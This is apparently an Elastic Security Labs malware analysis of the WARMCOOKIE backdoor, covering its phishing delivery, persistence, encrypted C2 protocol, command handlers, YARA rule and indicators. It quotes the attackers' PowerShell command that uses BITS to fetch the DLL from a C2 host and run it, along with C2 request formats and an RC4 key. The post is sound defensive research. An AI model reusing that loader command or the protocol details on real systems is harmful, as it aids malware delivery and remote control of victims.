WARMCOOKIE at a glance
Elastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new backdoor we’re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage, our team identified code overlap with a previously publicly reported sample by eSentire. The unnamed sample (resident2.exe
) discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some features are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality. Our team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.
WARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional payloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.
This post will review an observed campaign and this new malware’s functionality. While the malware has a limited number of capabilities, it shouldn’t be taken lightly as it’s actively being used and impacting organizations at a global scale.
Key takeaways
- REF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor: WARMCOOKIE
- WARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim machine, and deploy additional payloads
- Threat actors are spinning up new domains and infrastructure weekly to support these campaigns
- This research includes an IDAPython script to decrypt strings from WARMCOOKIE
- Elastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain
REF6127 campaign overview
Since late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These emails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities by clicking a link to an internal system to view a job description. Below is an example of the phishing email collected from previous open source reporting.
Once clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are prompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns documented by Google Cloud’s security team when discussing a new variant of URSNIF. Below is an example of the landing page collected from previous open source reporting.
Once the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named Update_23_04_2024_5689382.js
; however, other samples used a different but similar naming structure.
This obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.
The PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run the DLL with the Start
export.
start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' +
[System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source
'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35'
-Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d +
',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job
REF6127 infrastructure overview
By leveraging tools like urlscan.io and VirusTotal, we observed the threat actor continually generating new landing pages rapidly on IP address 45.9.74[.]135
. The actor pushed to target different recruiting firms in combination with keywords related to the job search industry.
Before hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial phishing URL, which redirects the different landing pages.
The threat actor generates new domains while the reputation catches up with each domain after each campaign run. At the time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.
WARMCOOKIE malware anlaysis
WARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the PowerShell download with the execution of WARMCOOKIE using the Start
export.
Stage 1
Stage 1 copies the downloaded DLL from a temporary directory with a random name, such as: wid4ta3v.3gm,
and places a copy of the DLL at C:\ProgramData\RtlUpd\RtlUpd.dll
After the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to run with the following parameters.
"C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p
With this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a screenshot from Hatching Triage showing these two stages:
Persistence
A critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the infection. The task name (RtlUpd
) is scheduled to run every 10 minutes every day.
Stage 2
The second stage is where the DLL is combined with the command line (Start /p
) and contains the core functionality of WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell download.
Obfuscation
WARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted string in the .rdata
section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes represent the string.
Below is the CyberChef recipe using the bytes from the screenshot above:
One interesting observation is that the malware developer doesn’t always rotate the RC4 key between the encrypted strings.
Dynamic API loading
To prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is no API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.
As demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is wiped from memory immediately after use, potentially avoiding memory signature scans.
Anti-debugging
The malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for checking the active number of CPU processors and physical/virtual memory values.
Below are the following conditions:
- If the number of processors is greater than or equal to 4 and the calculated value from the
GlobalMemoryStatusEx
call is greater than or equal to 0xF00, the malware will continue execution - If the number of processors is greater than or equal to 8, the malware will continue execution
- If the calculated value from the
GlobalMemoryStatusEx
call is greater than0x2000
, the malware will continue execution
Mutex
Each WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we have observed:
f92e6f3c-9cc3-4be0-966c-1be421e69140
91f785f4-2fa4-4c85-954d-b96768ca76f2
Before the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments with /p
returns True
or to check whether the scheduled task persistence needs to be created.
Execution
Before the backdoor makes its first outbound network request, it captures the following values used to fingerprint and identify the victim machine.
- Volume serial number
- DNS domain of the victim machine
- Computer name
- Username
This was a criteria used to identify the similarities to the malware in eSentire’s report.
The WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim machine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed value for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the checksum function is called with different seeds. We believe the developer added this step to make it a little harder for researchers to analyze and waste time.
The following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:
- CRC32(c2_message_data)
- CRC32(mutex) ^ volume serial number
- CRC32(username) ^ CRC32(computer name)
Below is the implementation in Python with a usage example in the Appendix:
def calculate_checksum(str_input, str_len, i):
if i == 0:
i = 0xFFFFFFFF
if i == -1:
i = 0
for idx in range(0, str_len, 2):
v6 = str_input[idx] | (str_input[idx + 1] << 8)
for _ in range(16):
if (v6 ^ i) & 1:
i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
else:
i = (i >> 1) & 0xFFFFFFFF
v6 >>= 1
return ~i & 0xFFFFFFFF
Communication
WARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4 and Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key being used in multiple samples. The key during this analysis is 24de21a8dc08434c
The malware uses a custom structure to send the initial request to the C2 server, including the previously described checksum values and several fields used to track the offsets and size of the variable data.
These values are sent through the HTTP cookie parameter using the following custom structure:
enum request_type
{
REGISTRATION = 1,
COMMAND = 2
};
struct os_info
{
int major_version;
int minor_version;
int build_number;
int version_calc;
};
struct initial_request
{
int checksum_c2_message_data;
int checksum_volume_mutex;
int checksum_computer_name_username;
request_type request_type;
os_info os_ver;
int offset_to_dns_domain;
int size_base64_dns_domain;
int offset_to_base64_computer_name;
int size_base64_computer_name;
int offset_to_base64_username;
int size_base64_username;
char base64_dns_domain[]; // Variable-length array
char base64_username[]; // Variable-length array
char base64_computer_name[]; // Variable-length array
};
The first request to the C2 server is sent through a GET request using User Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705
.
GET http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69[.]41
Connection: Keep-Alive
Pragma: no-cache
Below is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of the fields:
WARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function. For example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the beginning (offset 0). Using the example above, this checksum value is 0xe51387e9
Before the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2 server. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is located in the first four bytes of the request.
Below is a demonstration of this integrity check where the request data’s hash is 0x50d26cc3
.
If the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to move to the next command handler.
Bot functionality
WARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record screenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat groups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.
Command ID | Description |
---|---|
1 | Retrieve victim details |
2 | Record screenshots of victim machine |
3 | Retrieve installed programs via Uninstall registry path |
4 | Command-line execution (cmd.exe /c) |
5 | Write file to victim machine |
6 | Read file from victim machine |
10 | Delete scheduled task persistence |
Retrieve victim details - command ID (1)
This handler fingerprints and identifies the victim machines by collecting the IP address and CPU information. Interestingly, the imports required for this handler are statically imported.
The malware uses HTTP POST
requests when sending data back to the C2 server. The HTTP POST request data is encrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64 encoded.
POST http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69.41
Content-Length: 136
Connection: Keep-Alive
Pragma: no-cache
qI:f*m yڂ z ? ! ,!w k i A K k8 .(M ޣ> ދ u[ôz 0 -U~ 9 z G( *X o_ _ * Y, q glTs XI8b\)W W"
After decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded with the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64 encoded data is the IP Address and CPU info.
Encoded Value | Decoded Value |
---|---|
MTkyLjE2OC4xODIuMTMx | 192.168.182.131 |
QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA= | AMD Ryzen 7 7800X3D 8-Core Processor |
Screenshot capture - command ID (2)
The ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing sensitive information displayed on the screen or actively monitoring the victim’s machine. This handler dynamically loads Windows DLLs used for graphics and drawing operations, such as GDI32.DLL
and GDIPLUS.DLL
, and then uses various APIs, such as BitBlt
,CreateCompatibleBitmap
, and GetSystemMetrics
to generate the screenshot.
The collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.
By looking for the file header JPEG File Interchange Format (JFIF)
, we can carve out the image, and find a high-quality image of our sandbox machine (below) based on our request to this handler.
Retrieve installed programs - command ID (3)
This handler enumerates the installed programs on the victim machine via the registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
The program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along with the checksum data, offsets, and sizing.
Below is an example of one of the registry entries:
Encoded Value | Decoded Value |
---|---|
Ny1aaXAgMTguMDEgKHg2NCk= | 7-Zip 18.01 (x64) |
Command-line execution - command ID (4)
WARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument that gets executed to cmd.exe /c
without a console window.
In the example below, whoami
is provided as the argument:
This function reads the output from the provided command and stores it in Base64, where it’s sent back to the C2 server. Below is an example of the decrypted data for this handler:
Encoded Value | Decoded Value |
---|---|
ZGVza3RvcC0yYzNpcWhvXHJlbQ0K | desktop-2c3iqho\rem |
Write file - command ID (5)
WARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.
As a test, we can write a file within a directory with some data and then read it in the next handler.
Depending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values:
OK
ERROR: Cannot write file
Read file - command ID (6)
This handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the file path as the argument.
Depending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values along with the file contents:
OK (See 'Files' tab)
ERROR: Cannot read file
Based on the previous wording around a Files
tab, the WARMCOOKIE operators may use a GUI element.
Remove persistence - command ID (10)
This handler removes the previously configured scheduled task with the name RtlUpd
. By leveraging COM, it will call DeleteFileW
within mstask.dll
to remove the task.
IDA string decryption tool
Elastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted strings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and IDA commenting tool can be downloaded here.
Conclusion
WARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting users across the globe. Our team believes this malware represents a formidable threat that provides the capability to access target environments and push additional types of malware down to victims. While there is room for improvement on the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will continue to monitor this threat and recommends that the industry do the same.
WARMCOOKIE and MITRE ATT&CK
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
Techniques
Techniques represent how an adversary achieves a tactical goal by performing an action.
- Phishing
- User Execution: Malicious Link
- Command and Scripting Interpreter: PowerShell
- System Information Discovery
- Scheduled Task/Job
- Screen Capture
- Command and Scripting Interpreter: Windows Command Shell
Preventing and detecting WARMCOOKIE
Prevention
- Suspicious PowerShell Downloads
- Scheduled Task Creation by an Unusual Process
- Suspicious PowerShell Execution via Windows Scripts
- RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS
- RunDLL32 with Unusual Arguments
- Windows.Trojan.WarmCookie
Detection w/YARA
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify WARMCOOKIE:
rule Windows_Trojan_WarmCookie_7d32fa90 {
meta:
author = "Elastic Security"
creation_date = "2024-04-29"
last_modified = "2024-05-08"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.WarmCookie"
license = "Elastic License v2"
strings:
$seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
$seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
$seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
$seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
$plain_str1 = "release.dll" ascii fullword
$plain_str2 = "\"Main Invoked.\"" ascii fullword
$plain_str3 = "\"Main Returned.\"" ascii fullword
$decrypt_str1 = "ERROR: Cannot write file" wide fullword
$decrypt_str2 = "OK (No output data)" wide fullword
$decrypt_str3 = "OK (See 'Files' tab)" wide fullword
$decrypt_str4 = "cmd.exe /c %ls" wide fullword
$decrypt_str5 = "Cookie:" wide fullword
$decrypt_str6 = "%ls\\*.*" wide fullword
condition:
(3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
}
Observations
All observables are also available for download in both ECS and STIX format.
The following observables were discussed in this research.
Observable | Type | Name | Reference |
---|---|---|---|
ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13 | SHA-256 | RtlUpd.dll | WARMCOOKIE |
omeindia[.]com | domain | Phishing link | |
assets.work-for[.]top | domain | Landing page | |
45.9.74[.]135 | ipv4-addr | Landing page | |
80.66.88[.]146 | ipv4-addr | WARMCOOKIE C2 server | |
185.49.69[.]41 | ipv4-addr | WARMCOOKIE C2 server |
References
The following were referenced throughout the above research:
- https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
- https://x.com/Cryptolaemus1/status/1785423804577034362
Appendix
Checksum example
def calculate_checksum(str_input, str_len, i):
if i == 0:
i = 0xFFFFFFFF
if i == -1:
i = 0
for idx in range(0, str_len, 2):
v6 = str_input[idx] | (str_input[idx + 1] << 8)
for _ in range(16):
if (v6 ^ i) & 1:
i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
else:
i = (i >> 1) & 0xFFFFFFFF
v6 >>= 1
return ~i & 0xFFFFFFFF
serial_volume = 0x0A2C9AD2F
mutex = "f92e6f3c-9cc3-4be0-966c-1be421e69140".encode("utf-16le")
mutex_result = calculate_checksum(mutex, len(mutex), -1)
username = "REM\x00".encode("utf-16le")
username_result = calculate_checksum(username, len(username), -1)
computer_name = "DESKTOP-2C3IQHO".encode("utf-16le")
computer_name_result = calculate_checksum(computer_name, len(computer_name), -1)
print(f"Mutex: {hex(mutex_result)}")
print(f"Username: {hex(username_result)}")
print(f"Computer Name: {hex(computer_name_result)}")
print(f"#1 Checksum: {hex(serial_volume ^ mutex_result)}")
print(f"#2 Checksum: {hex(username_result ^ computer_name_result)}")